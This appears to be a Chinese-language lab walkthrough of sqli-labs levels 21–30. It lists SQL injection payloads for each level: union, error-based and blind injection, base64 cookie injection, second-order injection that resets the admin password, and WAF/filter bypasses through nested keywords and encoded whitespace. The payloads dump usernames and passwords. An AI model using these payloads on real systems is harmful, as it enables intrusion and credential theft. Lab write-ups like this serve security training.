Less-21
这一关它提示是cookie注入,并用’)来闭合的,并且提示base64编码
我们先去搜一个base64编码网站备用
然后我们admin账号密码进入页面,打开抓包,点刷新,将抓到的包发到重放器里
然后判断回显
') union select 1,2,3 #
经过base64编码是这样的
JykgdW5pb24gc2VsZWN0IDEsMiwzIw==
发现3个位置都能回显,我在3上执行了 ,哪个都行
然后查表,自己去base64编码
') union select 1,2,database() #
然后我们就得到了数据库名
然后我们去查数据库中的表名
') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' #
记得base64编码
这里得到了表名,然后我们查列名,也就是表中的字段名
') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'#
然后查出没字段的信息
') union select id,username,password from users #
查看第二条字段信息
') union select id,username,password from users limit 1,1 #
Less-22
这一关和上一关一样,但用"闭合
Less-23
这一关,发现它应该是把#号过滤了
我们换一种那个方式闭合,想理解怎么闭合的可以查看一下源码
?id=1' and '1' ='1
发现成功闭合
然后我们判断列数,这里我不能用order by 判断了,我们直接拿select试
?id=1' union select 1,2,3,4 and '1' ='1
发现报错,说明有3列,试试回显点
?id=1' union select 1,2,3 and '1' ='1
没回显,把id=-1试试,发现了回显点。
那我们就可以查库了
?id=-1' union select 1,database(),3 and '1' ='1
下面就不用多说了,我把代码都写到下面
查表
?id=-1' union select 1,(select(table_name) from information_schema.tables where table_schema='security' limit 0,1),3 and '1' ='1
查列
?id=-1' union select 1,(select(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),3 and '1' ='1
查信息
?id=-1' union select 1,(select username from users limit 0,1),3 and '1' ='1
Less-24
这一关让我们先注册一个账号,然后我们用注册的账号登录一下
经过尝试我们发现,账号密码位置是没有注入点的,我们试试能不能用我们的账号,更改管理员账号的密码,所以我上面注册了一个admin'#账户。进来后修改一下密码
完事后点一下Logout,注销掉admin'#账号,然后我们再用更改的密码登录admin账号,发现可以登录,这样我们就把管理员的账号改掉了
这一关是二次注入,其原理就是我们储存时的数据,没有被执行,但再拿出来时,数据被数据库解析执行后,造成漏洞
Less-25
这一关提示?传参,并且过滤掉and和or
它这里过滤掉and和or是为了让我们无法判断出闭合,那我们就想办法绕过它
经尝试后用aandnd嵌套的方式可以绕过,这样我们又可以判断闭合了
?id=1' aandnd 1=2--+
试出它是用单引号闭合的
我们直接用select试试有几列
发现3列页面正常,4列不正常,说明有3列 ,回显点也有了,查库
?id=-1'union select 1,2,database()--+
后面的步骤,就和上面一样了,这里就不多说了
要注意的一点是,单词中又and或or他就会过滤(如information,password等)用的时候注意,别再找错误找半天了
Less-25a
和上关一样,这一关是用的数字型不需要闭合,参考上一关即可
Less-26
这一关,试了一下发现他把空格给过滤了,而且把%0a这种能代替空格的也全部过滤了,且闭合也不用--+和#了。
经过大量尝试和翻看源代码发现是用%00来闭合的,注意一下%00截断后把后面所有的代码都截断了所以我们要在语句末尾加上分号
闭合的括号能在sql语句里代替空格
?id=1' union(select(1),(2),(3),(4));%00
报错,可以判断出他有三列
没有回显点,我们试一下报错注入
?id=1'aandnd(updatexml(1,concat(1,database()),3));%00
构造这样的语句可以输出数据库名
然后我们去查表,这里构造语句是咱们拿括号代替的空格,要注意闭合
?id=1'aandnd(updatexml(1,(concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')))),3));%00
然后查列
?id=1'aandnd(updatexml(1,(concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')aandnd(table_name='users')))),3));%00
字段出来了,查信息构造语句
?id=1'aandnd(updatexml(1,concat(1,(select(group_concat(username,passwoorrd))from(users))),3));%00
Less-26a
这一关提示单引号括号闭合,然后还是%00注释
?id=1');%00
尝试之后发现这个页面只有两种回显,那必然是用布尔盲注了
老样子他把空格过滤了我们就用括号代替
?id=1')aandnd(length(database()))>7;%00
页面正常说明数据库名长度是8,判断数据库名字
?id=1')aandnd(substr(database(),1,1))='s';%00
substr(database(),1,1)的意思就是截取数据库名从第一位开始截取一位。总不能从a试到z,知道了原理我们去爆破
排序即可得到数据库名security,以此类推
Less-27
判断闭合发现%00这个特殊注释也被过滤了,经过查看源码
?id=1'and'1'='1
发现这样可以正常闭合,这一关吧union select也给过滤了,所以我们通过下面这种方式查数据库名
?id=1'%0Band%0Bextractvalue(1,concat(0x7e,database(),0x7e))%0Bor%0B'1'='1
然后查表
?id=1'%0band%0bextractvalue(1,concat(0x7e,(selecT%0bgroup_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()),0x7e))%0bor%0b'1'='1
然后查字段
?id=1'%0band%0bextractvalue(1,concat(0x7e,(selecT%0bgroup_concat(column_name)%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema=database()%0band%0btable_name='users'),0x7e))%0bor%0b'1'='1
最后查询字段的值
?id=1'%0band%0bextractvalue(1,concat(0x7e,(selecT%0bgroup_concat(username,password)%0bfrom%0busers),0x7e))%0bor%0b'1'='1
完成
Less27a
这一关可以看到它过滤了union select,我们可以尝试通过嵌套加大小写的方式绕过
查数据库名
?id=0"uniunionon%0AseleSelectct%0A1,database(),3%0Aand"1
查表名
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Aand"1
查列名
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1
查字段数据
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1
Less-28
首先判断闭合这一关用
?id=1')and ('1
然后咱们查数据库名
?id=0')uni union%0Aselecton%0Aselect%0A1,database(),3%0Aand ('1
查表
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
下面以此类推
Less-28a
这一关通过')闭合
?id=0')and ('1
页面正常,这一关也是过滤了union select,我们还是可以通过下面方式绕过
查库名
?id=0')uniunion selecton select 1,database(),3 and ('1
下面就和上一关一样了
Less-29
题目说使用了waf,先不管试一下闭合
?id=-1'union select 1,2,3--+
回显正常
查数据库名
?id=-1'union select 1,database(),3--+
下面爆表
?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='scurity'--+
他说是用了waf但是我们联合注入就可以了
Less-30
先试闭合发现是用双引号闭合的
?id=-1"union select 1,database(),3--+
直接联合注入。